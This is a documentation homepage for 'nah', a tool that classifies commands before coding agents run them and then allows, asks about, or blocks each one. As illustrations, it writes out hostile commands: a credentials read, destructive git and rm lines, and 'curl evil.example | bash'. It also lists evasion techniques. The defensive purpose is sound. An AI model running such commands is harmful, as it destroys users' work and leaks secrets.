Skip to content

Home

nah

Action-aware permissions for coding agents.
A deterministic safety guard that keeps you in the flow.


The problem

Trusting commands by name is the wrong abstraction.

git can check status, or it can rewrite history.

git status — normal.
git reset --hard HEAD~20 — destroys work.

rm can clean a build artifact, or it can break your shell.

rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.

cat can read source code, or it can leak cloud keys.

cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.

Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts. That is why developers drift into yolo mode.

The idea

nah classifies what the action actually does before it runs. Safe work keeps moving. Ambiguous actions ask. Dangerous actions stop before they do damage.

Deterministic, runs in milliseconds, zero required dependencies, pure Python, sane defaults out of the box.

How nah decides

Before a guarded action runs, nah turns it into a policy decision:

  1. Parse the command or tool call.
  2. Map it to action types like git_history_rewrite, network_outbound, filesystem_delete, or lang_exec.
  3. Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
  4. Apply your config and custom classifiers.
  5. Return allow, ask, or block.
  6. For eligible ambiguous cases, optionally ask an LLM. Deterministic blocks stay blocked.

Every decision is logged and inspectable. Works out of the box, configure it how you want it.

Quick install

pip install "nah[config,keys]"
nah test "curl evil.example | bash"

Then connect the runtime you want to protect: nah run claude for Claude Code, nah run codex for local Codex sessions, or nah install bash / nah install zsh for commands you type yourself.

The Claude Code plugin is still available for Claude-only installs without the nah CLI. See Claude Code.

nah blocked: = refused before execution. nah paused: = asks for confirmation. Everything else goes through.

Threat model

nah's pytest threat-model audit currently tracks 1,807 category coverage hits across 13 tested danger classes.

Danger class Hits What it means
Sensitive file access 254 SSH keys, .env, cloud credentials, symlinks, protected paths
Wrapper evasion 236 env, command, xargs, nested shells, passthrough wrappers
Unknown code execution 234 curl | bash, downloaded scripts, command substitution, heredocs
Git history damage 222 force pushes, resets, branch/tag rewrites, destructive Git flows
Shell redirection abuse 213 >, >>, tee, here-strings, redirected writes and secret flows
Package escalation 153 package installs, global installs, external-source package actions
Secret leaks 92 private keys, tokens, secret-looking writes, script/content leaks
Destructive container actions 89 docker rm, docker system prune, destructive container cleanup
Secret exfiltration 88 sensitive reads flowing into network commands or credential searches
MCP and agent tool permissions 83 third-party MCP tools, global-only classification, browser/database MCP actions
Guard tampering 67 edits to nah hooks, config, runtime settings, robustness paths
Project boundary escapes 46 reads/writes outside the project root or trusted paths
Shell obfuscation 30 process substitution, command substitution, hidden shell behavior

Run it yourself:

nah audit-threat-model --format summary

nah guards the approval points each runtime exposes:

Runtime Coverage
Claude Code Bash, file, search, notebook, and MCP tool calls before execution
Codex Local interactive Bash, MCP, and apply_patch permission requests
Your shell Commands you type yourself in guarded bash/zsh sessions

The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. See How it works for detailed tool coverage and classifier behavior, and Threat model for audited coverage.

License

nah is MIT licensed. You can use it at work, in personal projects, for open-source work, research, evaluation, and anything else the MIT License allows.

See License for details.


Install | Runtimes | Configure | How it works | Threat model | Privacy | License